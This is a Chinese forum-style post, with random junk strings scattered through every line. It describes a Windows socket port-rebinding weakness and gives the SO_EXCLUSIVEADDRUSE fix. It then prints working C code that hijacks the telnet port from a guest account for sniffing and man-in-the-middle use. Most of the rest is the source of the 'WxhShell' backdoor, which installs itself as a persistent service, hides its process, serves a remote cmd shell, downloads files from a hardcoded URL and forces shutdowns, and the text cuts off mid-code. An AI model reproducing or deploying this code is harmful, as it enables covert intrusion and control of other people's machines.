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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hB-<GGcO < s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3+iQct[ (c9!: saddr.sin_family = AF_INET; @]B
7(j<'R C9E@$4* saddr.sin_addr.s_addr = htonl(INADDR_ANY); nh%Q"; t}-rN5GO bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D2Dk7//82Y G:{\-R' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r#/Bz5Jb* \FjY;rqfKe 这意味着什么?意味着可以进行如下的攻击: ;.b^A firiYL"=44 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B e2yS]U BI0 A0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IP l]$j>N VHTr;(]hk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +v"%@lC}; +xRSd * 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 gq an]b_ v6+<F;G3y> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wM&WR2 k^r-~q+NV# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #BX^"J{~ gD/% l[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6O'6,%# ?$AWY\ #include ~[4zm$R^ #include )>rHM6-W #include {Qj7?}xW #include }A'Ro/n DWORD WINAPI ClientThread(LPVOID lpParam);
BH`GUIk int main() nN!R!tJPa { xsSX~` WORD wVersionRequested; >X-*Hu'U# DWORD ret; ,{u'7p WSADATA wsaData; '.d]n(/lZd BOOL val; %&b70]S( SOCKADDR_IN saddr; =hB0p^a SOCKADDR_IN scaddr; 7NDjXcuq int err; 8S7 YVsDz" SOCKET s; [49Ae2W` SOCKET sc; ${)s
~[ int caddsize; \P7y&`| HANDLE mt; Gu@Znh-D DWORD tid; 9aZ^m$tAt wVersionRequested = MAKEWORD( 2, 2 ); }uk]1M2= err = WSAStartup( wVersionRequested, &wsaData ); lF.yQ if ( err != 0 ) { T&~7*j(|e printf("error!WSAStartup failed!\n"); xl;0&/7e return -1; c %.vI } @mId{w z saddr.sin_family = AF_INET; My JG2C#R B5fF\N^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {>R'IjFc _=RK saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1#
X*kF saddr.sin_port = htons(23); Bwg\_:vq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gmp`3 { S K7b]J> printf("error!socket failed!\n"); w0 0Ba^W return -1; !`EhVV8u-_ }
C#4/~+ val = TRUE; 'ai!6[|SD //SO_REUSEADDR选项就是可以实现端口重绑定的 DX%D8atrr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SHT ^Etri { [p[C45d=< printf("error!setsockopt failed!\n"); vQIN#;m4 return -1; 3&z.m/ } >*cg
K}!@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5D%gDw+" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AV*eGzz` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m5rJY/ !_SIq`5]@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Bgq]6G2 { _F9O4Q4 ret=GetLastError(); .WT^L2l% printf("error!bind failed!\n"); kw.IVz< return -1; ?\$\YX%/p } [.`%]Z( listen(s,2); q^k]e{PD while(1) @ME
. { h1 (MvEt caddsize = sizeof(scaddr); #-Ad0/ //接受连接请求 8QNd t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,,KGcDBj if(sc!=INVALID_SOCKET) -S,xR5 { !@vM@Z" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K:g:GEDgf if(mt==NULL) 0x/3Xz { T^~9'KDd printf("Thread Creat Failed!\n"); :[ AP^ break; u t4+c0 } `[zd } ]~A<Q{ CloseHandle(mt); ZT'Sw%U: } X0"f>.Lg closesocket(s); hpVu
WSACleanup(); Qo;#}%}^^ return 0; 8${Yu } eX@7f!uz DWORD WINAPI ClientThread(LPVOID lpParam) J\ V.J/ { 3Ta<7tEM SOCKET ss = (SOCKET)lpParam; Cq-#|+zr SOCKET sc; .6D9m.Q, unsigned char buf[4096]; }lzN)e SOCKADDR_IN saddr; ]9}T)Df' long num; `bF]O" DWORD val; OnKPD=< DWORD ret; AZTn!hrU //如果是隐藏端口应用的话,可以在此处加一些判断 _p`@/[(| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 r!7e:p JLO saddr.sin_family = AF_INET; /NDuAjp[@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [Ifhh2 saddr.sin_port = htons(23); 8xEOR!\!`k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;y{VdT { :9Vd=M6, printf("error!socket failed!\n"); +e6c4Tw/ return -1; ;dh8|ujh } \O7Vo<B&D val = 100; "<J%@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0u"/7OU { VI(;8 ret = GetLastError(); ]O;Hlty(g return -1; 8{GRrwQ> } |_P- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .V\M/q\Tv { !dW77kLTg ret = GetLastError(); Hw "UJP return -1; H~P"uYKIZ } -MqWcB9& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C,!}WB@VME { E(&GZ QE printf("error!socket connect failed!\n"); #Rkld v' closesocket(sc); )
-C9W7?I closesocket(ss); XI*_ti return -1; C;jV{sb9c } {&Bpf
K;`) while(1) ;\$P;-VY { ,OQ!lI_`R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XT|!XC!| //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~BVK6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h!*++Y?&0 num = recv(ss,buf,4096,0); WSY&\8 if(num>0) -|DSfI#j send(sc,buf,num,0); @MV%&y*z. else if(num==0) r12{XW?~ break; Pj!{j)-tS num = recv(sc,buf,4096,0); yO6
_Gq{ if(num>0) ^!*?vHx: send(ss,buf,num,0); Z-{!Z;T)z else if(num==0) H<SL=mb; break; elgCPX&:W } Y,bw:vX closesocket(ss); 9o7d3 ir) closesocket(sc); #f'(8JjY return 0 ; 3PonF4 } $J |oVVct P'Fy,fNg 4R U1tWQ% ========================================================== 8O]U&A@ a9E!2o+, 下边附上一个代码,,WXhSHELL t|X |67W sJlX]\RLQ ========================================================== mF>CH]k3 FNDLqf!j #include "stdafx.h" F$K-Q;r]< Z w5\{Z0 #include <stdio.h> LC/w".oq? #include <string.h> $l&&y?() #include <windows.h> ~?}/L'q!b #include <winsock2.h> (/_Q
r2KfC #include <winsvc.h> P#H#@:/3 #include <urlmon.h> gKZ{ O +fhyw{ #pragma comment (lib, "Ws2_32.lib") |7Q8WjCQ{m #pragma comment (lib, "urlmon.lib") R0<ka[+ n;"4`6L~ #define MAX_USER 100 // 最大客户端连接数 J{mP5<8>b #define BUF_SOCK 200 // sock buffer 4:}`X #define KEY_BUFF 255 // 输入 buffer QD:0iD? xLZQ\2q #define REBOOT 0 // 重启 lxK_+fj
q #define SHUTDOWN 1 // 关机 yvxC/Jo4 6QRfju' #define DEF_PORT 5000 // 监听端口 =3=KoH/' zJMKgw,i* #define REG_LEN 16 // 注册表键长度 l\^q7cXG #define SVC_LEN 80 // NT服务名长度 'KGY;8<x] e![Q1!r // 从dll定义API lq@Vb{Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AEwb' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4(4JQ(5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =tcPYYD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *eXO?6f%s^ ^c]Sl // wxhshell配置信息 L\og`L)5\ struct WSCFG { B>?Y("E int ws_port; // 监听端口 E|9LUPcb char ws_passstr[REG_LEN]; // 口令 e#^|NQ<'A int ws_autoins; // 安装标记, 1=yes 0=no L>UYR++<6 char ws_regname[REG_LEN]; // 注册表键名
A!k} char ws_svcname[REG_LEN]; // 服务名 =DxJt7J1 char ws_svcdisp[SVC_LEN]; // 服务显示名 y`Pp"!P"O char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~~1~ _0?e char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y%:p(f< int ws_downexe; // 下载执行标记, 1=yes 0=no lSyp
k-c char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" zs"AYxr char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pOI+ `Ik}Xw }; VP 4t~$" |->y'V // default Wxhshell configuration UKK}$B struct WSCFG wscfg={DEF_PORT, 6sy%KO*A "xuhuanlingzhe", sW2LNE 1, `^J~^Z7Y- "Wxhshell", %Y Rg1UKY "Wxhshell", *Kzs(O "WxhShell Service", @@|E1'c7 "Wrsky Windows CmdShell Service", M]` Q4\ "Please Input Your Password: ", GP1>h.J 1, a`pY&xq:: " http://www.wrsky.com/wxhshell.exe", eZHzo "Wxhshell.exe" <Awx:lw. }; 0K3FH&.% ($(1KE // 消息定义模块 *vAOUqX`x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g&0GO:F` char *msg_ws_prompt="\n\r? for help\n\r#>"; 4_.k Q"'DH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; J|FyY)_ char *msg_ws_ext="\n\rExit."; &<Gq-IN char *msg_ws_end="\n\rQuit."; 1]>KuXd
r char *msg_ws_boot="\n\rReboot..."; IPxfjBC+J char *msg_ws_poff="\n\rShutdown..."; l!AZ$IV char *msg_ws_down="\n\rSave to "; g41Lh3dj gy =`c MS@ char *msg_ws_err="\n\rErr!"; ` 4EOy:a
char *msg_ws_ok="\n\rOK!"; z~
u@N9M @I"Aet'XV char ExeFile[MAX_PATH]; ,O~2
R int nUser = 0; C-Fp)Zs{0 HANDLE handles[MAX_USER]; '*,4F' int OsIsNt; j[U0,] c?R.SBr,' SERVICE_STATUS serviceStatus; _TPo=}Z SERVICE_STATUS_HANDLE hServiceStatusHandle; J#x91Jh ~$\j$/A8/ // 函数声明 1UM]$$:i int Install(void); Na~_=3+a int Uninstall(void); wO!hVm,Ta int DownloadFile(char *sURL, SOCKET wsh); Y!7P>?)`,X int Boot(int flag); k(qQvn void HideProc(void); Wq9s[)F"Z int GetOsVer(void); ?^ErrlI_ int Wxhshell(SOCKET wsl); #P9VX5Tg void TalkWithClient(void *cs); !F<?h e<U int CmdShell(SOCKET sock); Awh"SUOh0 int StartFromService(void); =h_gj > int StartWxhshell(LPSTR lpCmdLine); &\X;t|
{H+?DMh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BkZ%0rw% VOID WINAPI NTServiceHandler( DWORD fdwControl ); CXQ?P 8S02
3 // 数据结构和表定义 `2fuV]FW SERVICE_TABLE_ENTRY DispatchTable[] = E7h}0DX { wKeqR$ {wscfg.ws_svcname, NTServiceMain},
yY| . {NULL, NULL} %@&)t?/= }; &V:dcJ^Q ]czy8n$+ // 自我安装 )[K3p{4 int Install(void) ibuI/VDF { |"-,C}O char svExeFile[MAX_PATH]; ~Op1NE HKEY key; rka:.#! strcpy(svExeFile,ExeFile); UA8!?r-cR 8Cqs@<r4Od // 如果是win9x系统,修改注册表设为自启动 "|G,P-5G" if(!OsIsNt) { ^]DWrmy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @Hf}PBb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k`AJ$\= RegCloseKey(key); >gSerDH8\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~+np7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ".0W8= RegCloseKey(key); H\k5B_3OU return 0; >eTlew<5 } CbHNb~ } <M7*N. } S }n;..{ else { J9 =gv0 bvx:R ~E$ // 如果是NT以上系统,安装为系统服务 %pp+V1FH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~?&ijhZ if (schSCManager!=0) G'py)C5; { w?tKL0c SC_HANDLE schService = CreateService o/zCXZnw# ( X2uX+}h*tA schSCManager,
[dJ\|= wscfg.ws_svcname, 4r. W:}4: wscfg.ws_svcdisp, 19.cf3Dh SERVICE_ALL_ACCESS, $;CC
lzw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kUUq9me&o SERVICE_AUTO_START, ZH(.|NaH SERVICE_ERROR_NORMAL, 1;P\mff3Y svExeFile, eI}VH BAz NULL, HIq1/) NULL, ]2(c$R
NULL, eFio, NULL, 4PWr;& NULL xB(:d'1| ); x]ti3?w if (schService!=0) 6b/b}vl { ':V_V. : CloseServiceHandle(schService); wF uh6!J CloseServiceHandle(schSCManager); ~{+{p cO} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h2%:;phH strcat(svExeFile,wscfg.ws_svcname); >.iw8#l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /=@vG Vp6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %&Cl@6 RegCloseKey(key); _o.Z`] return 0; 4iz&"~&1 } ]K7 64} }
/Xz4q!Ul CloseServiceHandle(schSCManager); +*J4q5;E[? } c2^7"` } OkZ! ZS
h psC7IE<v return 1; I{zE73 } XX-T", q&E5[/VK: // 自我卸载 fqb$_>3Ol int Uninstall(void) C.E>) { A7C+&I!L HKEY key; Fw9``{4w :*@|"4 if(!OsIsNt) { ikhX5
&e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @S7=6RKa[ RegDeleteValue(key,wscfg.ws_regname); @'*#]YU8 RegCloseKey(key); n:'BN([]o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wWw/1i:|' RegDeleteValue(key,wscfg.ws_regname); UWp8I)p!\O RegCloseKey(key); dCP Tpm return 0; ennz/' } @izi2ND } t4/eB<fP } va(9{AXI else { ?0NSjK5ma |u"R(7N* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )[sO5X7'^ if (schSCManager!=0) 8MeXVhM { gVU\^KN] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /Q8A"'Nk if (schService!=0) 1K9?a;. { a{HgIQg_>R if(DeleteService(schService)!=0) { (eG]Cp@ CloseServiceHandle(schService); H}V*<mgw CloseServiceHandle(schSCManager); $Q?G*@y return 0; Zfv(\SI } 0Eu$-) CloseServiceHandle(schService); ~cBc&u:" } Z034wn\N CloseServiceHandle(schSCManager); ]8>UII ,US } 37-y } SP7g qM "tB"j9Jb return 1; sLa)~To } }r~l72
` 'Y{ux> // 从指定url下载文件 ,beR:60) int DownloadFile(char *sURL, SOCKET wsh) jfPJ5]Z { ,XG|oo- HRESULT hr; ?VZXJO{^ char seps[]= "/"; (vsk^3R[6 char *token; T0v@mXBQ char *file; ilp;@O6 char myURL[MAX_PATH]; 3ZL7N$N}7 char myFILE[MAX_PATH]; tW.>D;8 d)1sP0Z_@ strcpy(myURL,sURL); 06 Esc^D token=strtok(myURL,seps); y?z _^ppj while(token!=NULL) gVA}?t; { tD7C7m file=token; ws2j:B token=strtok(NULL,seps); ENXW#{N.v } 6a]f&={E oB06{/6 GetCurrentDirectory(MAX_PATH,myFILE); 0/P-> n~ strcat(myFILE, "\\"); W|rFl]~a strcat(myFILE, file); =R;1vUio send(wsh,myFILE,strlen(myFILE),0); vYR=TN=Z4
send(wsh,"...",3,0); 0tm_}L$g=b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4a.e
,gitf if(hr==S_OK) e4YfTr return 0; pL}j
ZTo else 0SCW2/o8 return 1; (zJ$oRq o*wC{VP_ } ";?C4%L 2@m(XT
( // 系统电源模块 v8[ek@ int Boot(int flag) b|ksMB>) { &Wv`AoV HANDLE hToken; "o# )vA` TOKEN_PRIVILEGES tkp; :KV,:13`D 'x,GI\;? if(OsIsNt) { E}b>7L&w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W3{<e" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iWN.3|r tkp.PrivilegeCount = 1; $:u7Dv}\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3@TG.)N4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C*y6~AYN# if(flag==REBOOT) { r< ?o}Qq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *fvI.cKiGP return 0; 3w^J"O/T } z^!A/a[[! else { r6`^>c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? W2I1HEy return 0; t`8e#n 9 } \|pK Z6*s } 7Ysy\gZ&wp else { "Yfr"1RmO if(flag==REBOOT) { x#F1@r8R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RSPRfYU/ return 0; x U13fl } ^=izqh5S else { 3<)@ll if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $E`iqRB return 0; !skb=B# } APQQ:'>N4~ } wwK~H *`g-gk return 1; (J^Lqh_ } <^*+8{* +6#%P // win9x进程隐藏模块 Mdlt zy=)L void HideProc(void) @q{:Oc^ { k{}[>))Q rtYb"-& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~E3SC@KL if ( hKernel != NULL ) iB}LnC: { &w;^m/zP3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >G4HZE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MgH1d&R FreeLibrary(hKernel); K.V!@bPlw9 } VeD+U~ d RP`GG+K return; _
r^90 } n&YW".iG 0$f_or9T // 获取操作系统版本 hk7(2j7B int GetOsVer(void) liugaRO8J { gc,J2B]61 OSVERSIONINFO winfo; y,y/PyN) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u"#6_-0y GetVersionEx(&winfo); o&hKg#nO83 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *3.yumcv{L return 1; I!F}`d else 1C}pv{0:& return 0; A"\P&kqMV } f 74%YY ~C/Yv&58 // 客户端句柄模块 e_I; y int Wxhshell(SOCKET wsl) 0uVk$\:i { oRT SOCKET wsh; X ]pR,\B struct sockaddr_in client; )8x:x7? DWORD myID; .y %pGi M9(ez7Z while(nUser<MAX_USER) Xc8= 2n { JK(`6qB>(6 int nSize=sizeof(client); up+.@h{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?dJ/)3I%F if(wsh==INVALID_SOCKET) return 1; &prdlh=UE V5e \% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); teq^xTUF[ if(handles[nUser]==0) #514a(6 closesocket(wsh); pIZLGsu[ else P<cMP)+K nUser++; -!'Oy%a# } V_ +}^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F.~n *2 qh3 return 0; &jXca| wAR } 629~Uc6] 9atjK4+o // 关闭 socket
Z;j/K void CloseIt(SOCKET wsh) ||{T5E-.F { 5YTb7M closesocket(wsh); zmy4tsmX nUser--; 0v_6cYA ExitThread(0); 8X}^~ e } 45Nv_4s g:3d<CS // 客户端请求句柄 msA' 5> void TalkWithClient(void *cs) 0%;N9\ { Cbgj@4H F:[7^GQZ{ SOCKET wsh=(SOCKET)cs; ou<S)_|Iu char pwd[SVC_LEN]; N`,7 FI} char cmd[KEY_BUFF]; HZQDe& char chr[1]; Hk<X int i,j; $
7UDz UC8vR>e\ while (nUser < MAX_USER) { %+AS0 JhB 7>nhIp)) if(wscfg.ws_passstr) { I!|y;mh:it if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Az8K ) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ttK,((=@ //ZeroMemory(pwd,KEY_BUFF); M(n<Iu4^_ i=0; fnVW/23 while(i<SVC_LEN) { $l#v/(uFa c&E*KfOG // 设置超时 bn0"M+7)f fd_set FdRead; azao`z struct timeval TimeOut; i&A{L}eCr: FD_ZERO(&FdRead); 3+CSQb8 FD_SET(wsh,&FdRead); 8fJR{jD(s TimeOut.tv_sec=8; ~/^y.SsWM TimeOut.tv_usec=0; %/{IssCR7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BKa A=Bl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -vyIOH, #5'c\\?Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jo 7Hyw!g pwd =chr[0]; aqcFY8b
' if(chr[0]==0xd || chr[0]==0xa) { lTa1pp
Zw pwd=0; ljNzYg~- break; *0=fT}&! } Nc
G ,0K i++; KotPV } +90u!r^v AkxH // 如果是非法用户,关闭 socket #=X)Jx~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ShC_hi } Jy]FrSm^ 8!Wfd)4=,F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =jJ H^Y2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >}-~rZ `)rg|~#k while(1) { ?cqicN.+6 gJ]Cq/gC ZeroMemory(cmd,KEY_BUFF); DBQOxryP>o ?"()>PJx // 自动支持客户端 telnet标准 oUl=l}qnD j=0; Kg4QT/0VA while(j<KEY_BUFF) { zt7_r`#z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hNH.G(l0 cmd[j]=chr[0]; *,E; if(chr[0]==0xa || chr[0]==0xd) { kxwNbxC cmd[j]=0; eeZIa`.sX break; 3CA|5A.Pa } RxlszyE j++; Zw2jezP@t } fp9rO}## IO}+[%ptc* // 下载文件 ;l$9gD>R if(strstr(cmd,"http://")) { n"(7dl? send(wsh,msg_ws_down,strlen(msg_ws_down),0); BmJkt3j." if(DownloadFile(cmd,wsh)) 9OPK4- send(wsh,msg_ws_err,strlen(msg_ws_err),0); v2IEJ else 5iP8D<;o5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bBA$}bv } J2rvJ2l=t else { j%#?m2J} P;j&kuW|zL switch(cmd[0]) { :lgHL3yl EC<5M5Lc // 帮助 $kD7y5 case '?': { J
cP~-cp send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7rH'1U break; [:Be[pLC } IbF4k.J // 安装 U$A/bEhw case 'i': { x:p}w[WM if(Install()) DP|TIt ,Rl send(wsh,msg_ws_err,strlen(msg_ws_err),0); "]v
uD else I%SuT7"Do send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I4rV5;f
H4 break; ojX%RU } NPS.6qY // 卸载 yb69Q#V2 case 'r': { k69kv9v@J if(Uninstall()) ~D*b3K8X send(wsh,msg_ws_err,strlen(msg_ws_err),0); X2i*iW< else >H$;Z$o*( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o1e4.-xI break; 3 sl=>;- } <} &7 a s // 显示 wxhshell 所在路径 y7>iz6N case 'p': { 8Bj4_!g char svExeFile[MAX_PATH]; Ah*wQow strcpy(svExeFile,"\n\r"); w %;hl#s strcat(svExeFile,ExeFile); yDzdE; send(wsh,svExeFile,strlen(svExeFile),0); IeZ&7u break; UIQQ\,3 } ~
W@X- // 重启 :]yg case 'b': { `Uv)Sf{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DTPay1]6 if(Boot(REBOOT)) 8}bZ[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); "t=UX
-3 else { &D]&UQf closesocket(wsh); 5qC:yI ExitThread(0); }X.>4\B5 } 3!>/smb! break; +yCTH } mqdOu{kQ // 关机 '6O|H case 'd': { MvBD@`&7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F,Q?s9s if(Boot(SHUTDOWN)) R'L?Xn}3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); {H+?z<BF< else { J,RDTXqn closesocket(wsh); !I~C0u ExitThread(0); n3'dLJH| } lw s(/a*c break; {$0&R$v3 } !Qcir&]C> // 获取shell ]Dh1~k.Kp case 's': { inZi3@h)T CmdShell(wsh); jM]d'E?ZLA closesocket(wsh); ALfiR(! ExitThread(0); 3^XVQS*** break; t=Jm|wJnUA } 3|zgDA // 退出 ,7<DGI_y case 'x': { 5Q|sta! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c8<xFvYG CloseIt(wsh); "?P[9x} break; L@nebT;\' } {M[~E|@D // 离开 ^Z#@3= case 'q': { :&9TW]*g send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xk?R mU6 closesocket(wsh); e{0L%%2K WSACleanup(); x~EKGoz3 exit(1); JD ]OIh break; 1Fs-0)s8 } 0vn[a,W<A } gM#jA8gz } \-c#jo.$8 :@/"abv // 提示信息 U;pe: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d/]|657u } k1#5nYN. } ljVIE/iq =e{.yggE return; r1;e 0\?` } +;dXDZ2 q? 9GrwL8F // shell模块句柄 ]IS;\~ int CmdShell(SOCKET sock) 1[s0Lz { iX%n0i STARTUPINFO si; @o&Ytd;i ZeroMemory(&si,sizeof(si)); ?Wa<AFXQ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [Tp%"f1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m6i%DE PROCESS_INFORMATION ProcessInfo; +I@cO&CY| char cmdline[]="cmd"; {p]=++ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G mA!Mo return 0; i4<BDX5 } *T1~)z}j< y(}Eko4u5 // 自身启动模式 \2>?6zs int StartFromService(void) nvt$F%+ { k;Hnu typedef struct 4H-j
.|e { kYlg4 .~M DWORD ExitStatus; oRq3 pO}f DWORD PebBaseAddress; :6D0j DWORD AffinityMask; !y. $J< DWORD BasePriority; \I:.<2i ULONG UniqueProcessId; aMJ;bQD
ULONG InheritedFromUniqueProcessId; W#{la`#Bu } PROCESS_BASIC_INFORMATION; h/K@IAd #tDW!Xv? PROCNTQSIP NtQueryInformationProcess; Y)Tl< 5g>wV
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CT p!di| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #\ #3r +s~.A_7) HANDLE hProcess; H^
